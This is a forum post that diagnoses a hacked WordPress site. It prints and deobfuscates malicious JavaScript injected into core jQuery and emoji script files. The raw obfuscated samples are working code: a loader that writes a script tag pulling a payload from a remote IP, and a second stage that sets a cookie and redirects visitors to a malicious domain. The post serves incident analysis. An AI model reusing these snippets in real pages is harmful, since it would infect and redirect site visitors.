When clicking onto the link to your site, I receive a virus alert from Avast. There is good chance your site is infected and is being blocked by x10's virus software.

Your site had been compromised. The blank pages are returning HTTP 500. That would mean a fatal PHP error had occurred. In other words, your WordPress installation in this case is damaged in a way.

So far, two JavaScript files have been found serving obfuscated JavaScript:
Code: 
http://whencaniwatch.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1
http://whencaniwatch.com/wp-includes/js/wp-emoji-release.min.js?ver=4.7.10
According to Google, both files have in the past been caught serving malicious code. Especially 'wp-emoji-release.min.js'.

(The rest of this post is the analysis of the code, for anyone interested. Also Cloudflare keeps bringing up a ReCaptcha when saving a draft because of the content.)

Both serve the following:
Code: 
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));
When we further undo this...
Code: 
document['write']('>tpircs/<>"sj.yreuqj/87[.]611[.]942[.]431//:ptth"=crs tpircs<' ['split']('')['reverse']()['join'](''));
So far, we call tell that there is a reversed string and document.write would be used to write it out onto the page once the string had been reversed again.
Once we reverse the string...
Code: 
<script src="http://134[.]249[.]116[.]78/jquery.js"></script>
So, cool. We've got it. There's more to it, however.
When we check out the URL, the file begins with this comment.
Code: 
/*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */
But then there are a ton of line breaks following that just so that we think that is all to it. If we scroll all the way down, this is shown...
Code: 
var _0x481b=["\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x3B\x20\x70\x61\x74\x68\x3D","","\x69\x6E\x64\x65\x78\x4F\x66","\x6C\x65\x6E\x67\x74\x68","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x3B","\x63\x6F\x6F\x6B\x69\x65\x45\x6E\x61\x62\x6C\x65\x64","\x63\x73\x72\x66\x5F\x75\x69\x64\x73","\x31","\x2F","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x68\x69\x62\x69\x64\x73\x31\x30\x2E\x63\x6F\x6D\x2F\x77\x61\x74\x63\x68\x3F\x6B\x65\x79\x3D\x37\x38\x39\x61\x34\x31\x32\x39\x65\x37\x38\x63\x30\x30\x30\x30\x38\x61\x34\x37\x62\x33\x36\x65\x32\x33\x64\x36\x35\x65\x61\x37"];function _mmm_(_0x6d1dx2,_0x6d1dx3,_0x6d1dx4,_0x6d1dx5){var _0x6d1dx6= new Date();var _0x6d1dx7= new Date();if(_0x6d1dx4=== null|| _0x6d1dx4=== 0){_0x6d1dx4= 3};_0x6d1dx7[_0x481b[1]](_0x6d1dx6[_0x481b[0]]()+ 3600000* 24* _0x6d1dx4);document[_0x481b[2]]= _0x6d1dx2+ _0x481b[3]+ escape(_0x6d1dx3)+ _0x481b[4]+ _0x6d1dx7[_0x481b[5]]()+ ((_0x6d1dx5)?_0x481b[6]+ _0x6d1dx5:_0x481b[7])}function _nnn_(_0x6d1dx9){var _0x6d1dxa=document[_0x481b[2]][_0x481b[8]](_0x6d1dx9+ _0x481b[3]);var _0x6d1dxb=_0x6d1dxa+ _0x6d1dx9[_0x481b[9]]+ 1;if((!_0x6d1dxa) && (_0x6d1dx9!= document[_0x481b[2]][_0x481b[10]](0,_0x6d1dx9[_0x481b[9]]))){return null};if(_0x6d1dxa==  -1){return null};var _0x6d1dxc=document[_0x481b[2]][_0x481b[8]](_0x481b[11],_0x6d1dxb);if(_0x6d1dxc==  -1){_0x6d1dxc= document[_0x481b[2]][_0x481b[9]]};return unescape(document[_0x481b[2]][_0x481b[10]](_0x6d1dxb,_0x6d1dxc))}if(navigator[_0x481b[12]]){if(_nnn_(_0x481b[13])== 1){}else {_mmm_(_0x481b[13],_0x481b[14],_0x481b[14],_0x481b[15]);window[_0x481b[17]][_0x481b[16]]= _0x481b[18]}}
More obfuscated JavaScript code. Great. That looks like a mess so lets make it more readable...
Code: 
function _mmm_(_0x6d1dx2, _0x6d1dx3, _0x6d1dx4, _0x6d1dx5) {
    var _0x6d1dx6 = new Date();
    var _0x6d1dx7 = new Date();
    if (_0x6d1dx4 === null || _0x6d1dx4 === 0) {
        _0x6d1dx4 = 3
    };
    _0x6d1dx7['setTime'](_0x6d1dx6['getTime']() + 3600000 * 24 * _0x6d1dx4);
    document['cookie'] = _0x6d1dx2 + '=' + escape(_0x6d1dx3) + ';expires=' + _0x6d1dx7['toGMTString']() + ((_0x6d1dx5) ? '; path=' + _0x6d1dx5 : '')
}

function _nnn_(_0x6d1dx9) {
    var _0x6d1dxa = document['cookie']['indexOf'](_0x6d1dx9 + '=');
    var _0x6d1dxb = _0x6d1dxa + _0x6d1dx9['length'] + 1;
    if ((!_0x6d1dxa) && (_0x6d1dx9 != document['cookie']['substring'](0, _0x6d1dx9['length']))) {
        return null
    };
    if (_0x6d1dxa == -1) {
        return null
    };
    var _0x6d1dxc = document['cookie']['indexOf'](';', _0x6d1dxb);
    if (_0x6d1dxc == -1) {
        _0x6d1dxc = document['cookie']['length']
    };
    return unescape(document['cookie']['substring'](_0x6d1dxb, _0x6d1dxc))
}
if (navigator['cookieEnabled']) {
    if (_nnn_('csrf_uids') == 1) {} else {
        _mmm_('csrf_uids', '1', '1', '/');
        window['location']['href'] = 'http://www[.]hibids10[.]com/watch?key=789a4129e78c00008a47b36e23d65ea7'
    }
}
The code above sets a new cookie. Does a few checks regarding cookies and then redirects to this 'hibids10' domain. From there, there are additional redirects.
Search for "789a4129e78c00008a47b36e23d65ea7" on Google. This is not a new thing. Other WordPress installations had been compromised either because the version of WordPress used itself is vulnerable or there is a vulnerable plugin. Previously the domain beginning with 'cpm20' was used.
